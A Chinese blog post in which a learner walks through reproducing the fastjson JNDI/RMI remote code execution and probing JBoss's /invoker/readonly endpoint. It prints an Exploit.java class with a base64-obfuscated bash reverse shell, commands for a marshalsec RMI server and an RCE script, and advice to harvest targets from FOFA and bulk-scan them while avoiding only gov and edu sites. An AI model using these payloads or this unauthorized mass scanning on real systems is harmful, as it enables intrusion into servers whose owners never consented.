网站首页 > java教程 正文
第一个漏洞复现fastjson漏洞
说明:
在本地这个fastjson会出现问题
复现的过程
生成一个java文件进行攻击注入的方式
javac Exploit.java
但是必须编译成.class文件才能执行
public class Exploit {
static {
try {
String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}";
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {}
}
}
代码主要就是shell反弹的方式
启动http服务器将文件上传到服务器中进行访问
如果成功访问到.class文件说明成功了
python3 -m http.server --bind 0.0.0.0 8888
打开rmi服务
我不知道这个服务的作用是什么
但是问题总是出现在这个服务互上
"http://x.x.x.x:8888/ 这个对应的攻击主机的地址
9999 是 rmi 端口号
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x:8888/#Exploit" 9999
组合命令的方式rmi/ladp的方式
java -cp fastjson_tool.jar fastjson.HRMIServer 127.0.0.1 9999 "touch /tmp/233"
最后一个就是发送的方式
http://1.1.1.1:8080/ 攻击主机的地址
rmi://2.2.2.2:9999/Exploit rmi 具体服务的地址信息
python3 fastjson-1.2.47_rce.py http://1.1.1.1:8080/ rmi://2.2.2.2:9999/Exploit
但是最后没有成功复现出结果
最后出现问题在我的服务器上面
说没有发送post指令
但是服务器本来没有post请求功能
我在java本地执行window弹出计算机的方式
访问get请求结果真的有计算机进行弹出的方式
搞了挺久还是没有做出来的方式
但是就是没有成功
jboss漏洞复现的方式
这个漏洞验证的方式比较简单一点
http:/ip+端口/invoker/readonly
直接使用这个进行访问
如果出现500错误
证明存在这个错误信息
如果没有我们进行下一个扫描的方式
如果找到大量可以扫描地址
但是需要记住千万不能扫描 gov edu 这个网址
fqfa网络空间查询
我们可以这里查询可以扫描的服务器信息
进行一个扫描的方式
使用burtsuite进行一个批量的查询的方式
但是导出的fqfa把端口和ip分开了我们需要使用notpad++进行组合
然后进行一个暴力扫描的方式
查看网站是否存在这个样的漏洞信息
扫描出来的结果还是比较少的方式
总结
学习网络安全
最主要还是学习思路
如何扫描一个网站,出现什么情况,证明这个网站可以被扫描,出现什么现象我们有机会
这个很重要,如果什么都没有出现,这个网站很难拿下
为什么想学习网络安全
因为安全学习的好
可以参加护网行动
也可以证明自己的技术
猜你喜欢
- 2025-08-02 医疗发票OCR识别 API介绍-发票识别接口对比人工录入优势
- 2025-08-02 JDK从8升级到21的问题集
- 2025-08-02 CTF(Capture The Flag)图片隐写入门
- 2025-08-02 SpringBoot敏感配置项加密与解密实战
- 2025-08-02 Spring Boot 实现密码安全存储的5种方式
- 2025-08-02 谷歌推出Gemini Code Assist Enterprise,用企业代码库生见解
- 2025-08-02 简单的冰蝎流量魔改
- 2025-08-02 服务端性能测试实战3-性能测试脚本开发
- 2025-08-02 如何使用Java开发在线生成 pdf 文档 ?
- 2025-08-02 前端利用Print.js打印base64 PDF
你 发表评论:
欢迎- 08-03JVM内存结构和Java内存模型
- 08-03C++ 知识小结
- 08-03Java内存模型(JMM)详解
- 08-03为什么计算机内存需要堆和栈?
- 08-03Java中,对象一定在堆中分配吗?
- 08-03看完这篇,还不懂JAVA内存模型(JMM)算我输
- 08-03别再混淆了!JVM内存模型和Java内存模型的本质区别
- 08-03【C语言】(13)堆和栈
- 最近发表
- 标签列表
-
- java反编译工具 (77)
- java反射 (57)
- java接口 (61)
- java随机数 (63)
- java7下载 (59)
- java数据结构 (61)
- java 三目运算符 (65)
- java对象转map (63)
- Java继承 (69)
- java字符串替换 (60)
- 快速排序java (59)
- java并发编程 (58)
- java api文档 (60)
- centos安装java (57)
- java调用webservice接口 (61)
- java深拷贝 (61)
- 工厂模式java (59)
- java代理模式 (59)
- java.lang (57)
- java连接mysql数据库 (67)
- java重载 (68)
- java 循环语句 (66)
- java反序列化 (58)
- java时间函数 (60)
- java是值传递还是引用传递 (62)
本文暂时没有评论,来添加一个吧(●'◡'●)